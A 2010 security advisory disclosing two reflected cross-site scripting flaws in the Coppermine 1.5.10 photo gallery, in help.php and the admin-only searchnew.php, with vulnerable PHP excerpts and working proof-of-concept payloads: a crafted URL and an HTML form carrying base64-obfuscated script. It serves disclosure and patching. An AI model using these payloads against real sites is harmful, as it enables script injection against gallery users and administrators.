Lucene search
+L

Coppermine 1.5.10 Cross Site Scripting

🗓️ 29 Dec 2010 00:00:00Reported by Janek Vind aka waraxeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Cross Site Scripting in Coppermine 1.5.1

Code
`[waraxe-2010-SA#079] - Reflected XSS in Coppermine 1.5.10  
==============================================================================  
  
Author: Janek Vind "waraxe"  
Date: 28. December 2010  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-79.html  
  
  
Affected Software:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Coppermine is a multi-purpose fully-featured and integrated web picture gallery  
script written in PHP using GD or ImageMagick as image library with a MySQL backend.  
  
http://coppermine-gallery.net/  
  
  
Affected versions  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Tests were conducted against Coppermine version 1.5.10. Research showed, that  
all versions in 1.5.x branch, including 1.5.1_alpha, are vulnerable as well.  
  
###############################################################################  
1. Reflected XSS in "help.php"  
###############################################################################  
  
Reason: failure to sufficiently sanitize user-supplied input data  
Attack vector: user submitted GET parameters "h" and "t"  
Preconditions: none  
  
Source code snippet from vulnerable script "help.php":  
-----------------[ source code start ]---------------------------------  
if ($superCage->get->keyExists('base')) {  
$base = $superCage->get->getInt('base');  
..  
if ($superCage->get->keyExists('h')) {  
$header = $superCage->get->getEscaped('h');  
..  
if ($superCage->get->keyExists('t')) {  
$text = $superCage->get->getEscaped('t');  
..  
if ($base != '') {  
// content of header and text have been base64-encoded - decode it now  
$header = @unserialize(@base64_decode($header));  
$text = @unserialize(@base64_decode($text));  
}  
..  
if ($header != '') {  
$content = '<h1>'.$header.'</h1>';  
$content .= $text;  
..  
echo <<< EOT  
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"  
..  
<div id="cpg_main_block">  
$string  
$content  
-----------------[ source code end ]-----------------------------------  
  
As seen above, user-provided data is base64 decoded and then used for html  
output. No sanitization of potentially dangerous data, therefore Reflected XSS  
security vulnerability exists in specific php script.  
  
Example exploit:  
  
http://localhost/cpg.1.5.10/help.php?base=1  
&h=czozMzoiPHNjcmlwdD5hbGVydCgnaGVhZGVyJyk7PC9zY3JpcHQ%2bIjs  
&t=czozMToiPHNjcmlwdD5hbGVydCgndGV4dCcpOzwvc2NyaXB0PiI7  
  
  
###############################################################################  
2. Reflected XSS in "searchnew.php"  
###############################################################################  
  
Reason: failure to sufficiently sanitize user-supplied input data  
Attack vector: user submitted POST parameter "picfile_*"  
Preconditions:  
1. user must be logged in as Coppermine admin  
2. XSS payload charset is somewhat limited, little bit of creativity needed  
  
  
Source code snippet from vulnerable script "searchnew.php":  
-----------------[ source code start ]---------------------------------  
if (!GALLERY_ADMIN_MODE) {  
cpg_die(ERROR, $lang_errors['access_denied'], __FILE__, __LINE__);  
..  
if ($superCage->post->keyExists('insert')) {  
if ($superCage->post->keyExists('pics')){  
$pics = $superCage->post->getAlnum('pics');  
..  
foreach ($pics as $pic_id) {  
..  
$picfile = $superCage->post->getAlnum('picfile_'.$pic_id);  
$pic_file = base64_decode($picfile);  
..  
$file_name = basename($pic_file);  
..  
echo '<td class="'.$rowStyle.'" valign="middle" align="left">'.$file_name.'</td>'  
-----------------[ source code end ]-----------------------------------  
  
As seen above, user-provided POST parameter "pics_*" is base64 decoded  
and then processed by php function basename(). Finally it is used for  
html output. As in previous vulnerability, attacker is able to use base64  
encoding for XSS payload obfuscation. What differs from previous case, is  
the use of basename() function. Thanks to this function, XSS payload charset  
is somewhat limited. Still, specific Reflected XSS vulnerabilty is exploitable.  
  
Example exploit (Coppermine admin privileges needed):  
-----------------------------------------------------------------------  
<html><body><center>  
<form action="http://localhost/cpg.1.5.10/searchnew.php" method="post">  
<input type="hidden" name="insert" value="1">  
<input type="hidden" name="pics[]" value="222">  
<input type="hidden" name="picfile_222" value="PGJvZHkgb25sb2FkPWFsZXJ0KDEyMyk7Pg">  
<input type="submit" value="Test!">  
</form>  
</center></body></html>  
-----------------------------------------------------------------------  
  
  
Greetings:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, Chb,  
vince213333, to all active waraxe.us forum members and to anyone else who know me!  
  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
[email protected]  
Janek Vind "waraxe"  
  
Waraxe forum: http://www.waraxe.us/forums.html  
Personal homepage: http://www.janekvind.com/  
Random project: http://albumnow.com/  
---------------------------------- [ EOF ] ------------------------------------  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation